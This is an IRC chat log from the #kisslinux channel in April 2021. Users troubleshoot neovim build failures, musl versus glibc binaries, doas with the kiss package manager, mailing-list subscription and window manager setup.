2021-04-13T14:23:06 #kisslinux <testuser_[m]> yuck
2021-04-13T14:23:22 #kisslinux <dilyn> no we should figure out what typo is happening that makes the subproject thing --build is a wrong command for cmake lmao
2021-04-13T14:23:29 #kisslinux <dilyn> errored on luarocks?
2021-04-13T14:24:14 #kisslinux <testuser_[m]> maybe a breaking change in cmake ? it was packaged by dylan so should've built fine
2021-04-13T14:24:18 #kisslinux <thermatix> becuase the thing after it references luarocks?
2021-04-13T14:24:44 #kisslinux <dilyn> nah neovim has never built nicely with cmake over make, i remember trying
2021-04-13T14:25:04 #kisslinux <thermatix> so should I alias cmake to make temporarily for this build?
2021-04-13T14:25:14 #kisslinux <dilyn> oh no, luv-static. sry
2021-04-13T14:25:16 #kisslinux <dilyn> no
2021-04-13T14:25:33 #kisslinux <thermatix> bad idea?
2021-04-13T14:26:52 #kisslinux <thermatix> actually
2021-04-13T14:27:11 #kisslinux <thermatix> it would have no effect at all as it access the cmake binary directly lol
2021-04-13T14:27:30 #kisslinux <dilyn> I think something else is going on.can you post the whole log?
2021-04-13T14:27:33 #kisslinux <dilyn> hmhm
2021-04-13T14:27:40 #kisslinux <thermatix> one sec
2021-04-13T14:28:41 #kisslinux <thermatix> ... I'm going to have to re-run the build >_<
2021-04-13T14:28:55 #kisslinux <thermatix> it did something wierd and pasted all the text I was trying to copy in the terminal XD
2021-04-13T14:29:45 #kisslinux <thermatix> ooor in hind-sight I can just copy the build log...
2021-04-13T14:35:53 #kisslinux <thermatix> here is the full build log -> https://pastebin.com/HgkJs0MF
2021-04-13T14:43:59 #kisslinux <dilyn> "[61/89] No build step for 'libuv'" :thinking:
2021-04-13T14:44:06 #kisslinux <dilyn> what the *fuck*
2021-04-13T14:45:34 #kisslinux <dilyn> i mean it's a nothing-burger but like also, why is it like this
2021-04-13T14:45:39 #kisslinux <dilyn> there's nothing good about this.
2021-04-13T14:48:14 #kisslinux <dilyn> unobvious why it would fail. so strange
2021-04-13T14:48:36 #kisslinux <testuser_[m]> Just package everything it throws at you :p
2021-04-13T14:48:43 #kisslinux <dilyn> christ
2021-04-13T14:48:49 #kisslinux <dilyn> well i mean we have libuv lua* and gperf
2021-04-13T14:48:58 #kisslinux <dilyn> it's mostly msgpack and luv
2021-04-13T14:49:56 #kisslinux <dilyn> well let's see if it builds in my clean room :v
2021-04-13T14:51:02 #kisslinux <spryc> i uncommented the lines needed in /etc/doas.conf but when i try 'doas kiss b firefox' it says 'firefox' not found in repository pool
2021-04-13T14:51:23 #kisslinux <spryc> but when i switch to root user with su kiss finds firefox
2021-04-13T14:51:40 #kisslinux <dilyn> what's KISS_PATH for root & your user?
2021-04-13T14:51:50 #kisslinux <spryc> the variables are declined in /etc/profile.d/kiss_path.sh
2021-04-13T14:51:59 #kisslinux <spryc> defined
2021-04-13T14:52:02 #kisslinux <dilyn> sure
2021-04-13T14:52:06 #kisslinux <dilyn> where are the repos
2021-04-13T14:52:13 #kisslinux <spryc> /var/db/kiss
2021-04-13T14:53:23 #kisslinux <dilyn> wait what lines do you have in doas.conf?
2021-04-13T14:53:32 #kisslinux <spryc> 1 sec
2021-04-13T14:53:36 #kisslinux <dilyn> iirc I had to add 'permit persist :agroupnamemyuserisin'
2021-04-13T14:54:58 #kisslinux <dilyn> lol i can't build neovim because my connection to github.com keeps timing out so i can't download the deps...
2021-04-13T14:56:17 #kisslinux <spryc> there were some things commented so i uncommented them and also added one line. http://0x0.st/-T10.jpg
2021-04-13T14:56:26 #kisslinux <spryc> my user is in the group wheel
2021-04-13T14:56:43 #kisslinux <dilyn> typo?
2021-04-13T14:56:57 #kisslinux <dilyn> in the link
2021-04-13T15:02:00 #kisslinux <spryc> yeah, http://0x0.st/-Tl0.jpg
2021-04-13T15:07:58 #kisslinux <testuser_[m]> `find -not -name` is not portable right ?
2021-04-13T15:10:42 #kisslinux <thermatix> no idea
2021-04-13T15:19:13 #kisslinux <dilyn> find ! -name
2021-04-13T15:19:29 #kisslinux <dilyn> spryc, does doas work otherwise?
2021-04-13T15:21:16 #kisslinux <ominous_anonymou> http://0x0.st/-TUz.PNG ayyy
2021-04-13T15:21:41 #kisslinux <dilyn> :o
2021-04-13T15:22:55 #kisslinux <testuser_[m]> nice
2021-04-13T15:31:32 #kisslinux <ominous_anonymou> https://arcan-fe.com/2021/04/12/introducing-pipeworld/
2021-04-13T15:32:36 #kisslinux <ominous_anonymou> their remote sharing ideas are really neat and i wish i was smart enough to take advantage of them
2021-04-13T15:48:03 #kisslinux <thermatix> how do I execute elf binaries? i have `libelf` installed but I don't have `/lib64/ld-linux-x86-64.so.2 ` so certain programs won't run
2021-04-13T15:48:49 #kisslinux <testuser_[m]> are you trying to run glibc programs
2021-04-13T15:48:56 #kisslinux <thermatix> maybe?
2021-04-13T15:49:05 #kisslinux <thermatix> given that kiss has musl
2021-04-13T15:49:11 #kisslinux <thermatix> I'm guessing that won't work...
2021-04-13T15:49:39 #kisslinux <testuser_[m]> /lib/ld-musl-x86_64.so.1 is the interpreter for musl
2021-04-13T15:49:50 #kisslinux <testuser_[m]> so it will say "not found"
2021-04-13T15:50:15 #kisslinux <thermatix> yeah that's what I get
2021-04-13T15:50:36 #kisslinux <testuser_[m]> all the binaries are ELF binaries btw
2021-04-13T15:50:39 #kisslinux <thermatix> I doubt it but would it work if aliased /lib64/ld-linux-x86-64.so.2 to the musl one?
2021-04-13T15:50:41 #kisslinux <thermatix> oh
2021-04-13T15:50:43 #kisslinux <thermatix> did not know that
2021-04-13T15:50:51 #kisslinux <testuser_[m]> musl is not abi compatible
2021-04-13T15:50:54 #kisslinux <thermatix> tch
2021-04-13T15:50:56 #kisslinux <testuser_[m]> what are you trying to run
2021-04-13T15:51:10 #kisslinux <thermatix> I have two programs
2021-04-13T15:51:11 #kisslinux <thermatix> neovide
2021-04-13T15:51:15 #kisslinux <thermatix> and neovim
2021-04-13T15:51:24 #kisslinux <thermatix> both are binaries that just return not found
2021-04-13T15:51:53 #kisslinux <testuser_[m]> yeah it sucks, most people dont bother providing a static binary
2021-04-13T15:56:40 #kisslinux <dilyn> don't tempt me
2021-04-13T15:56:48 #kisslinux <dilyn> > how do I execute elf binaries
2021-04-13T15:56:55 #kisslinux <acheam> lol
2021-04-13T15:56:57 #kisslinux <dilyn> this gave me nightmares because I thought you disabled them in the kernel for a second
2021-04-13T15:57:43 #kisslinux <thermatix> I didn't realise that all binaries on linux are ELF
2021-04-13T15:58:29 #kisslinux <dilyn> if it ain't broke...
2021-04-13T15:59:46 #kisslinux <thermatix> lol in my case it is broke XD
2021-04-13T16:00:30 #kisslinux <thermatix> I don;t think I'm going to get neovim or neovide to build
2021-04-13T16:00:42 #kisslinux <thermatix> is it a bad idea to have musl and glibc at the same time?
2021-04-13T16:01:00 #kisslinux <dilyn> yes
2021-04-13T16:01:23 #kisslinux <dilyn> it will result in what people in the industry call "a bad time"
2021-04-13T16:01:45 #kisslinux <thermatix> I get the feeling you're underselling how bad a time I will have...
2021-04-13T16:02:08 #kisslinux <thermatix> I'm guessing there's not much else I can do
2021-04-13T16:02:12 #kisslinux <thermatix> real shame :(
2021-04-13T16:02:18 #kisslinux <thermatix> was looking forward to running with neovide
2021-04-13T16:02:25 #kisslinux <dilyn> I am not a salesman, just a bringer of bad omens
2021-04-13T16:02:48 #kisslinux <dilyn> I mean the jig isn't up, you can always just give in and package everything until somebody figures out what's happening...
2021-04-13T16:02:58 #kisslinux <dilyn> considering i'm the technical maintainer it's... my job :v
2021-04-13T16:03:11 #kisslinux <dilyn> can anybody else build neovim? maybe try using nightly just for fun
2021-04-13T16:03:19 #kisslinux <testuser_[m]> Youll be fine with 2 libc in separate dirs in /usr
2021-04-13T16:03:20 #kisslinux <thermatix> btw would an appimage work?
2021-04-13T16:03:27 #kisslinux <testuser_[m]> But only for standalone packages
2021-04-13T16:03:50 #kisslinux <testuser_[m]> If a package has a dependency on say zlib, then you'll need zlib build for glibc aswell along with musl
2021-04-13T16:04:04 #kisslinux <testuser_[m]> So you can only use it practically for linking small stuff
2021-04-13T16:04:33 #kisslinux <dilyn> probably definitely not
2021-04-13T16:04:52 #kisslinux <testuser_[m]> Acheam or someone said that appimages link to glibc
2021-04-13T16:05:00 #kisslinux <testuser_[m]> Dunno if they work after extracting manually
2021-04-13T16:05:49 #kisslinux <testuser_[m]> They should..
2021-04-13T16:17:05 #kisslinux <acheam> to extract newer appimages, you have to run them to get the correct command line arguments to use with the mount command
2021-04-13T16:17:20 #kisslinux <acheam> I think I linked the relevent documentation a few days ago
2021-04-13T16:18:47 #kisslinux <kiedtl> Someone's having trouble building neovim on musl? I've built it once on Void (and Alpine has a package for it)... I didn't notice anything out of the ordinary
2021-04-13T16:19:08 #kisslinux <kiedtl> trying to understand logs, what trouble are you having exactly?
2021-04-13T16:22:30 #kisslinux <testuser[m]_> Some cmake and dependency issue stuff
2021-04-13T16:22:37 #kisslinux <acheam> we need a translation layer between GH usernames, IRC usernames, GPG keys, and email adresses lol
2021-04-13T16:22:58 #kisslinux <acheam> I'm alredy confused on who some of the people on the ML are
2021-04-13T16:23:04 #kisslinux <kiedtl> I know, keybase!
2021-04-13T16:23:45 #kisslinux <acheam> deer god I hope that you're kidding
2021-04-13T16:23:52 #kisslinux <testuser[m]_> acheam what was the subscribe url again
2021-04-13T16:23:54 #kisslinux <acheam> s/deer/dear
2021-04-13T16:23:59 #kisslinux <acheam> i don't care about the god of buck
2021-04-13T16:24:07 #kisslinux <acheam> testuser[m]_: dev+subscribe⊙ko
2021-04-13T16:26:23 #kisslinux <testuser_[m]> Thanks
2021-04-13T16:26:57 #kisslinux <dilyn> acheam is one to talk :v
2021-04-13T16:27:35 #kisslinux <dilyn> kiedtl: the issue is (at least the obvious issue) that when building the bundled libluv, cmake doesn't understand --build
2021-04-13T16:28:08 #kisslinux <acheam> dilyn: :)
2021-04-13T16:28:16 #kisslinux <acheam> my online presence is very fractured
2021-04-13T16:28:36 #kisslinux <acheam> i'm acheam some places, emptymessage others, armaanb here and there, armaan in a few places
2021-04-13T16:28:39 #kisslinux <testuser_[m]> i just send a random message to that address right
2021-04-13T16:28:56 #kisslinux <acheam> I would just send it with "subscribe" in the subject
2021-04-13T16:29:25 #kisslinux <acheam> I think it does check the content, but I'm not sure what its filters are
2021-04-13T16:29:36 #kisslinux <acheam> "subscribe" in the subject is the standard for mailing lists
2021-04-13T16:34:20 #kisslinux <kiedtl> I think the body can be whatever
2021-04-13T16:34:30 #kisslinux <kiedtl> I think I just put "test" or something
2021-04-13T16:34:42 #kisslinux <acheam> when I first tried to subscribe I put in this long memey message and it didn't subscribe me
2021-04-13T16:34:54 #kisslinux <acheam> lol
2021-04-13T16:34:57 #kisslinux <kiedtl> serves you right
2021-04-13T16:34:59 #kisslinux <testuser_[m]> It worked
2021-04-13T16:35:00 #kisslinux <testuser_[m]> Nice
2021-04-13T16:35:02 #kisslinux <acheam> yey
2021-04-13T16:35:04 #kisslinux <dilyn> the subjet and body can be blank
2021-04-13T16:35:06 #kisslinux <dilyn> or anything you want
2021-04-13T16:35:14 #kisslinux <dilyn> you could hide a secret message inside for me :o
2021-04-13T16:37:30 #kisslinux <jslick> dilyn neovim fails for me. "Failed installing dependency" lua-term
2021-04-13T16:37:47 #kisslinux <dilyn> wowee
2021-04-13T16:39:25 #kisslinux <acheam> hi mcpcpc-hkp
2021-04-13T16:41:30 #kisslinux <acheam> kiedtl: how would you feel about a feature on movzbl where if you just joined a conversation, you can do !context, and it will message you the last 10 messages or something
2021-04-13T16:41:58 #kisslinux <claudia02> ahoi!
2021-04-13T16:42:07 #kisslinux <acheam> hello claudia02
2021-04-13T16:42:16 #kisslinux <claudia02> I tried also to subscribe to the mailing list. Gmail does not let me :'(
2021-04-13T16:42:32 #kisslinux <acheam> why?
2021-04-13T16:42:34 #kisslinux <claudia02> It says something the mailadress is not in the right format
2021-04-13T16:42:42 #kisslinux <acheam> thats very very strange
2021-04-13T16:42:49 #kisslinux <claudia02> dev+subscribe(at)ko
2021-04-13T16:42:51 #kisslinux <kiedtl> maybe because of the fragment?
2021-04-13T16:42:57 #kisslinux <kiedtl> dumb gmail
2021-04-13T16:43:00 #kisslinux <acheam> dev+subscribe⊙ko
2021-04-13T16:43:01 #kisslinux <kiedtl> gmail--
2021-04-13T16:43:21 #kisslinux <claudia02> is this some kind of link shortner, this ko?
2021-04-13T16:43:26 #kisslinux <acheam> ko?
2021-04-13T16:43:47 #kisslinux <kiedtl> k1sslinux.org... not "ko"
2021-04-13T16:43:52 #kisslinux <claudia02> you said 'dev+subscribe⊙ko' earlier
2021-04-13T16:43:52 #kisslinux <acheam> dev+subscribe⊙ko
2021-04-13T16:43:58 #kisslinux <kiedtl> ^^
2021-04-13T16:43:59 #kisslinux <claudia02> reading the logs
2021-04-13T16:44:03 #kisslinux <claudia02> :p
2021-04-13T16:44:05 #kisslinux <kiedtl> must've been a typo lol
2021-04-13T16:44:06 #kisslinux <acheam> oh wait did I?
2021-04-13T16:44:12 #kisslinux <acheam> oops
2021-04-13T16:44:45 #kisslinux <dilyn> i subbed fine from my gmail address!
2021-04-13T16:44:49 #kisslinux <dilyn> gmail loves my mailing list!
2021-04-13T16:44:55 #kisslinux <kiedtl> acheam: the channel is logged, such a feature would be redundant. I believe dylan had a script in ~/bin/ which curl'd out stuff from the past hourish
2021-04-13T16:44:55 #kisslinux <dilyn> gmail must just hate you!
2021-04-13T16:44:56 #kisslinux <dilyn> :P
2021-04-13T16:45:08 #kisslinux <claudia02> I hate gmail!
2021-04-13T16:45:22 #kisslinux <dilyn> just build your own mailserver!
2021-04-13T16:45:24 #kisslinux <dilyn> ezclap
2021-04-13T16:45:41 #kisslinux <claudia02> :|
2021-04-13T16:45:45 #kisslinux <acheam> kiedtl: yeah It was more for non-logged channels
2021-04-13T16:46:01 #kisslinux <acheam> s/It was/the idea was aimed/g
2021-04-13T16:46:01 #kisslinux <movzbl> <acheam> kiedtl: yeah the idea was aimed more for non-logged channels
2021-04-13T16:46:09 #kisslinux <dilyn> sounds like a good way to get your bot b&...
2021-04-13T16:46:15 #kisslinux <claudia02> Uh, message was send.
2021-04-13T16:46:35 #kisslinux <kiedtl> what dilyn said, if the channel isn't logged then I strongly doubt such a bot would be allowed
2021-04-13T16:46:37 #kisslinux <kiedtl> acheam:
2021-04-13T16:46:40 #kisslinux <acheam> hmm yeah
2021-04-13T16:46:56 #kisslinux <dilyn> something something muh privacy
2021-04-13T16:47:33 #kisslinux <kiedtl> Yeah. If you're not in the channel, people rightly assume you'll never see the messages they post.
2021-04-13T16:48:06 #kisslinux <dilyn> it's a cute feature though. I'd use it just so i can stop scrolling :v
2021-04-13T16:49:00 #kisslinux <acheam> lol yeah
2021-04-13T16:49:58 #kisslinux <acheam> for some reason scrolling backwards doesn't work in my tmux-ssh-irc client setup
2021-04-13T16:50:14 #kisslinux <dilyn> too many levels
2021-04-13T16:50:15 #kisslinux <acheam> like, it scrolls backwards, but the text gets all overlappy and stuff
2021-04-13T16:50:24 #kisslinux <acheam> so I have to ctrl-L every time I scroll back
2021-04-13T16:50:30 #kisslinux <acheam> indeed, too many levels
2021-04-13T16:50:36 #kisslinux <kiedtl> I'm on ssh-tmux-irc, no problems here
2021-04-13T16:51:11 #kisslinux <claudia02> Ah the logbot just make @k1sslinux.org to "@ko" very strange.
2021-04-13T16:51:44 #kisslinux <dilyn> no it definitely showed up that way in the channel
2021-04-13T16:51:58 #kisslinux <dilyn> maybe that's why the message didn't go
2021-04-13T16:52:00 #kisslinux <dilyn> :o
2021-04-13T16:52:19 #kisslinux <claudia02> y
2021-04-13T16:53:14 #kisslinux <claudia02> https://freenode.logbot.info/kisslinux/20210413#c7618971
2021-04-13T16:53:47 #kisslinux <claudia02> At least the logbot.info cannot be used to crawl adresses for spam
2021-04-13T16:56:03 #kisslinux <dilyn> oh wow damn yeah that's cool
2021-04-13T16:56:05 #kisslinux <dilyn> thanks logger
2021-04-13T16:56:17 #kisslinux <dilyn> now watch me plaster it everywhere on the internet anyways
2021-04-13T16:58:39 #kisslinux <claudia02> ^
2021-04-13T16:59:21 #kisslinux <claudia02> s /^/^^
2021-04-13T17:02:02 #kisslinux <dilyn> i think the problem with neovim is that... it doesn't configure libluv first...
2021-04-13T17:02:20 #kisslinux <dilyn> like it doesn't run cmake -DLUA_COMPATWHATEVER && cmake --build .
2021-04-13T17:06:45 #kisslinux <dilyn> I don't know if there's a good way to intercept it, but you can probably do something like...
2021-04-13T17:07:14 #kisslinux <dilyn> sed -i 's/compat-5.3 --build/compat-5.3 && /usr/bin/cmake --build ./' .deps/build.ninja
2021-04-13T17:08:57 #kisslinux <dilyn> lmao try setting CMAKE_GENERATOR=ninja and installing samurai, and then just building it
2021-04-13T17:16:54 #kisslinux <acheam> kiedtl: hmm strange because i've had this scrolling issue even on weechat as well, so exact same setup as you
2021-04-13T17:17:04 #kisslinux <acheam> maybe I just have a crappy connection and it gets out of sync or something
2021-04-13T17:17:05 #kisslinux <kiedtl> huh
2021-04-13T17:17:28 #kisslinux <acheam> ?
2021-04-13T17:18:35 #kisslinux <Spryc2> dilyn: doas works for other things yes, but not kiss.
2021-04-13T17:19:03 #kisslinux <thermatix> I'm super happy with spectrwm, no more need for tmux with this (so far at least)
2021-04-13T17:23:09 #kisslinux <acheam> I use tmux for preserving sessions, not for multiplexing
2021-04-13T17:23:12 #kisslinux <acheam> spectrwm is great
2021-04-13T17:23:22 #kisslinux <acheam> (writing a webpage about it now)
2021-04-13T17:23:37 #kisslinux <acheam> well, not about it in particular, just window managers in general
2021-04-13T17:23:47 #kisslinux <kiedtl> check out abduco, it's tmux but without the multiplexing
2021-04-13T17:24:09 #kisslinux <acheam> huh that's really cool thanks
2021-04-13T17:24:28 #kisslinux <acheam> will give it a shot later
2021-04-13T17:24:31 #kisslinux <dilyn> https://github.com/neovim/neovim/pull/12676 it's the same bug as the one dylan already fixed? but why... hm
2021-04-13T17:24:38 #kisslinux <acheam> I like the idea of separating the two concepts
2021-04-13T17:26:37 #kisslinux <acheam> sending from abduco
2021-04-13T17:36:15 #kisslinux <thermatix> I only multiplexed because I wanted to be able to have multiple terminals in my terminals since I liked to fullscreen my terminal emulator so I could maximise my screen real-estate
2021-04-13T17:36:29 #kisslinux <thermatix> but with spectrw I don't need to
2021-04-13T17:37:06 #kisslinux <thermatix> and I get the bonus of being able to treat firefox and other apps like a terminal pane or even run more graphical programs instead of terminal vim/neovim
2021-04-13T17:37:16 #kisslinux <thermatix> like neovide (were it working of course :( )
2021-04-13T17:37:44 #kisslinux <thermatix> I'm currently editing my .spectrwm.conf file :p
2021-04-13T17:38:03 #kisslinux <thermatix> and I set my file manager to ranger
2021-04-13T17:38:17 #kisslinux <thermatix> so now I jsut have to do MOD+Shift+f and I get a file explorer/manager
2021-04-13T17:38:32 #kisslinux <thermatix> course since it's a terminal program I have to run it through my terminal but I can live with that
2021-04-13T17:39:09 #kisslinux <thermatix> I definetly love that I only have what I have with Kiss, since I use ranger no need for graphical file manager
2021-04-13T17:43:01 #kisslinux <testuser_[m]> https://www.phoronix.com/scan.php?page=news_item&px=X.Org-Server-1.20.11
2021-04-13T17:49:37 #kisslinux <dilyn> okay. temporary fix for neovim
2021-04-13T17:50:20 #kisslinux <dilyn> change the source to https://github.com/0x777/neovim/tree/luv-1.34.2-2
2021-04-13T17:50:26 #kisslinux <dilyn> `kiss c && kiss b`
2021-04-13T17:56:59 #kisslinux <spryc> dilyn: got any ideas why does wont work for kiss?
2021-04-13T17:57:09 #kisslinux <spryc> *doas
2021-04-13T17:58:26 #kisslinux <dilyn> do you have other privilege escalations programs besides su?
2021-04-13T17:58:30 #kisslinux <dilyn> this is my conf http://ix.io/2VXO
2021-04-13T17:59:16 #kisslinux <acheam> damn dylins got some low security
2021-04-13T17:59:26 #kisslinux <dilyn> good luck gettin' in :v
2021-04-13T17:59:32 #kisslinux <uringating> Hello
2021-04-13T17:59:40 #kisslinux <acheam> still, if I do get it, I can run pretty much anything via kiss
2021-04-13T17:59:46 #kisslinux <uringating> Fellow linux developers what do you think of uring
2021-04-13T18:00:02 #kisslinux <acheam> just add a malicious package to your kiss path and i'm good to go
2021-04-13T18:00:11 #kisslinux <uringating> they say it's like linux kqueue
2021-04-13T18:00:17 #kisslinux <dilyn> i mean if I were worried about arbitrary code execution I... would never connect to the internet
2021-04-13T18:00:18 #kisslinux <acheam> never heard of it before
2021-04-13T18:00:45 #kisslinux <uringating> it's a new think on linux 5 apparently
2021-04-13T18:01:16 #kisslinux <uringating> qemu uses it
2021-04-13T18:02:07 #kisslinux <testuser_[m]> Use ssu for maximum security
2021-04-13T18:02:26 #kisslinux <uringating> what
2021-04-13T18:02:39 #kisslinux <testuser_[m]> That was for acheam
2021-04-13T18:02:42 #kisslinux <uringating> oh
2021-04-13T18:03:10 #kisslinux <acheam> I tried ssu but I like a config file
2021-04-13T18:03:24 #kisslinux <acheam> and some amount of granularity
2021-04-13T18:03:26 #kisslinux <uringating> wait is dylan back? dilyn?
2021-04-13T18:03:30 #kisslinux <acheam> haha no
2021-04-13T18:03:35 #kisslinux <acheam> different person
2021-04-13T18:03:40 #kisslinux <uringating> oh
2021-04-13T18:06:33 #kisslinux <thermatix> sorry, what is uring?
2021-04-13T18:06:39 #kisslinux <thermatix> it sounds familure
2021-04-13T18:08:16 #kisslinux <uringating> epoll on steroids
2021-04-13T18:08:27 #kisslinux <uringating> like a linux kqueue
2021-04-13T18:08:53 #kisslinux <thermatix> I honestly have no opnion
2021-04-13T18:09:16 #kisslinux <thermatix> quick question, can you run picom + spectrwm at the same time?
2021-04-13T18:09:19 #kisslinux <acheam> yes
2021-04-13T18:10:14 #kisslinux <uringating> picom is compton right?
2021-04-13T18:10:18 #kisslinux <acheam> yes
2021-04-13T18:10:42 #kisslinux <acheam> except picom is many a commit ahead of compton by now
2021-04-13T18:11:43 #kisslinux <dilyn> depends on which compton you're really talking about
2021-04-13T18:11:50 #kisslinux <testuser_[m]> There's xcompmgr. Btw if you don't need much fancy stuff
2021-04-13T18:11:57 #kisslinux <dilyn> the OG compton
2021-04-13T18:12:52 #kisslinux <acheam> thanks testuser_[m]
2021-04-13T18:12:52 #kisslinux <E5ten> if you have intel graphics, I've found that using xf86-video-intel works so well that I don't need a compositor at all
2021-04-13T18:13:05 #kisslinux <acheam> uh oh you mentioned xf86
2021-04-13T18:13:28 #kisslinux <acheam> get your fire extinguishers ready folks
2021-04-13T18:13:43 #kisslinux <testuser_[m]> ?
2021-04-13T18:13:47 #kisslinux <dilyn> lol
2021-04-13T18:13:47 #kisslinux <E5ten> lol if you're using X of any kind you're using an xf86-video-something, even if it's modesetting
2021-04-13T18:13:56 #kisslinux <E5ten> well xorg of any kind specifically I gues
2021-04-13T18:13:57 #kisslinux <E5ten> guess*
2021-04-13T18:13:59 #kisslinux <dilyn> if the driver supports your hardware, it's fine to use
2021-04-13T18:14:02 #kisslinux <E5ten> but on linux what else would you be using
2021-04-13T18:14:09 #kisslinux <dilyn> `mesa`
2021-04-13T18:14:31 #kisslinux <E5ten> (I mean what other X impl would you be using than xorg, not like "what other than X would you be using" cuz obviously wayland exists)
2021-04-13T18:14:33 #kisslinux <acheam> yeah whoops I called the wrong part of that message to attention in my message
2021-04-13T18:14:58 #kisslinux <testuser_[m]> Btw E5ten https://github.com/kiss-community/kiss/issues/5 added some info here
2021-04-13T18:15:07 #kisslinux <uringating> I use vayland
2021-04-13T18:15:12 #kisslinux <uringating> austrian fork of wayland
2021-04-13T18:16:05 #kisslinux <thermatix> I only ask because it doesn't seem to do anything
2021-04-13T18:16:56 #kisslinux <thermatix> also finished configuring spectrwm (for now :p )
2021-04-13T18:17:01 #kisslinux <dilyn> that would depend on 1) how you're starting it and 2) how you're configuring it
2021-04-13T18:17:23 #kisslinux <thermatix> i'm starting it in .xinitrc before i start spectrwm
2021-04-13T18:17:46 #kisslinux <thermatix> afk
2021-04-13T18:17:52 #kisslinux <thermatix> got some shopping to do
2021-04-13T18:17:56 #kisslinux <acheam> are you sure its still running? Maybe it is quitting because a bad config or something
2021-04-13T18:17:59 #kisslinux <acheam> `pgrep picom`
2021-04-13T18:18:00 #kisslinux <acheam> see ya
2021-04-13T18:41:22 #kisslinux <spryc> dylin: i dont have anything besides su, should i?
2021-04-13T18:45:01 #kisslinux <thermatix> back
2021-04-13T18:45:34 #kisslinux <kiedtl> nak
2021-04-13T18:50:21 #kisslinux <acheam> flak
2021-04-13T18:54:58 #kisslinux <dilyn> you shouldn't, but some people default to immediately installing sudo. just checking.
2021-04-13T18:55:13 #kisslinux <dilyn> s/*/whack/
2021-04-13T18:55:13 #kisslinux <movzbl> <dilyn> you shouldn't, but some people default to immediately installing sudo. just checking.
2021-04-13T18:55:15 #kisslinux <dilyn> sry
2021-04-13T18:55:50 #kisslinux <spryc> it is very weird how kiss doesn't detect firefox in any repo when running with doas
2021-04-13T18:55:57 #kisslinux <spryc> but if i change to root then it does
2021-04-13T18:56:35 #kisslinux <dilyn> what are you doing doas kiss s firefox?
2021-04-13T18:56:41 #kisslinux <dilyn> s/what/wait/
2021-04-13T18:56:42 #kisslinux <movzbl> <dilyn> wait are you doing doas kiss s firefox?
2021-04-13T18:56:50 #kisslinux <spryc> doas kiss b firefox
2021-04-13T18:56:52 #kisslinux <dilyn> oh
2021-04-13T18:56:53 #kisslinux <dilyn> don't do that
2021-04-13T18:56:54 #kisslinux <dilyn> lmao
2021-04-13T18:56:58 #kisslinux <thermatix> what's wrong with `sudo` ?
2021-04-13T18:57:04 #kisslinux <zenomat> my kiss install wouldn't connect to the internet and I had thought I fucked it up somehow, started to have depression, but later realized I didnt put in the lan cable...
2021-04-13T18:57:11 #kisslinux <spryc> im used to typing doas
2021-04-13T18:57:12 #kisslinux <dilyn> just kiss b firefox. kiss does privilege escalation on its own via KISS_SU
2021-04-13T18:57:16 #kisslinux <spryc> i use openBSD
2021-04-13T18:57:19 #kisslinux <spryc> ah
2021-04-13T18:57:20 #kisslinux <spryc> okay
2021-04-13T18:57:26 #kisslinux <dilyn> ez fix haha
2021-04-13T18:57:29 #kisslinux <spryc> lmfao
2021-04-13T18:57:47 #kisslinux <dilyn> it's a big departure from traditional linux package managers
2021-04-13T18:57:52 #kisslinux <spryc> thats neat
2021-04-13T18:57:55 #kisslinux <thermatix> lol zenomat, was going to suggest if you had dchcpd running
2021-04-13T18:57:56 #kisslinux <dilyn> thermatix: nothing is wrong with sudo
2021-04-13T18:57:56 #kisslinux <spryc> its very small too
2021-04-13T18:58:12 #kisslinux <spryc> im very used to just typing doas instead
2021-04-13T18:58:17 #kisslinux <spryc> i use openbsd on my other laptop
2021-04-13T18:58:23 #kisslinux <zenomat> thermatix: was my first thought as well^^ restarted it and everything, checked my kernelmodules
2021-04-13T18:58:41 #kisslinux <thermatix> yeah, I added dchcpd to the init script in rc.d
2021-04-13T18:58:46 #kisslinux <thermatix> so now it always starts
2021-04-13T18:58:49 #kisslinux <thermatix> but not x
2021-04-13T18:58:57 #kisslinux <thermatix> I've set it so I manually start it
2021-04-13T18:59:00 #kisslinux <dilyn> see i always forget to run `sudo pacman` and just run `pacman` so this is very natural for me
2021-04-13T18:59:09 #kisslinux <zenomat> yeah, i have dhcpcd start as a service via busybox
2021-04-13T18:59:12 #kisslinux <thermatix> I find it faster to type my login at the terminal and then manually start x
2021-04-13T18:59:21 #kisslinux <thermatix> how did you do that?
2021-04-13T18:59:32 #kisslinux <spryc> you can put startx in for example your .profile
2021-04-13T18:59:45 #kisslinux <dilyn> https://k1sslinux.org/wiki/init/busybox
2021-04-13T18:59:51 #kisslinux <zenomat> thermatix: ln -s /etc/sv/dhcpcd /var/service
2021-04-13T18:59:59 #kisslinux <thermatix> that's it?
2021-04-13T19:00:09 #kisslinux <thermatix> huh
2021-04-13T19:00:23 #kisslinux <zenomat> i also do my login in the tty, but have my .profile set to start x when tty is equal to 1, got it from the arch wiki
2021-04-13T19:00:25 #kisslinux <dilyn> i'm telling you; KISS is the easiest distro I've ever used
2021-04-13T19:00:43 #kisslinux <thermatix> maybe I should remove dhcpcd from init and move it into the services folder...
2021-04-13T19:00:51 #kisslinux <zenomat> dilyn: indeed, kiss is pretty easy when you get over the kernel stuff for the first time
2021-04-13T19:01:07 #kisslinux <thermatix> I almost agree
2021-04-13T19:01:15 #kisslinux <zenomat> thermatix: i had it in my rc.d too in the beginning, but then the boot time was a lot longer than with the service
2021-04-13T19:01:26 #kisslinux <thermatix> hmmm
2021-04-13T19:02:37 #kisslinux <spryc> got any ideas why kiss 'Cannot create a temporary directory in /tmp�'?
2021-04-13T19:02:56 #kisslinux <dilyn> ls -l / ?
2021-04-13T19:03:10 #kisslinux <spryc> tmp does exist
2021-04-13T19:03:11 #kisslinux <dilyn> /tmp should be https://k1sslinux.org/wiki/init/busybox
2021-04-13T19:03:17 #kisslinux <dilyn> ope
2021-04-13T19:03:23 #kisslinux <dilyn> drwxrwxrwt
2021-04-13T19:03:26 #kisslinux <dilyn> 1777
2021-04-13T19:05:04 #kisslinux <spryc> oh,
2021-04-13T19:05:33 #kisslinux <spryc> i remember someone said you can replace grep for faster installs, was it replace busybox grep with gnugrep?
2021-04-13T19:05:45 #kisslinux <kiedtl> Yes, I believe so
2021-04-13T19:05:58 #kisslinux <dilyn> yeah you just do kiss a gnugrep /usr/bin/grep
2021-04-13T19:06:01 #kisslinux <dilyn> after installing gnugrep
2021-04-13T19:06:09 #kisslinux <zenomat> spryc: https://k1sslinux.org/package-manager#8.1
2021-04-13T19:06:20 #kisslinux <dilyn> it used to be an envvar but when the alternatives system was added, it was dropped in favor of taking advantage
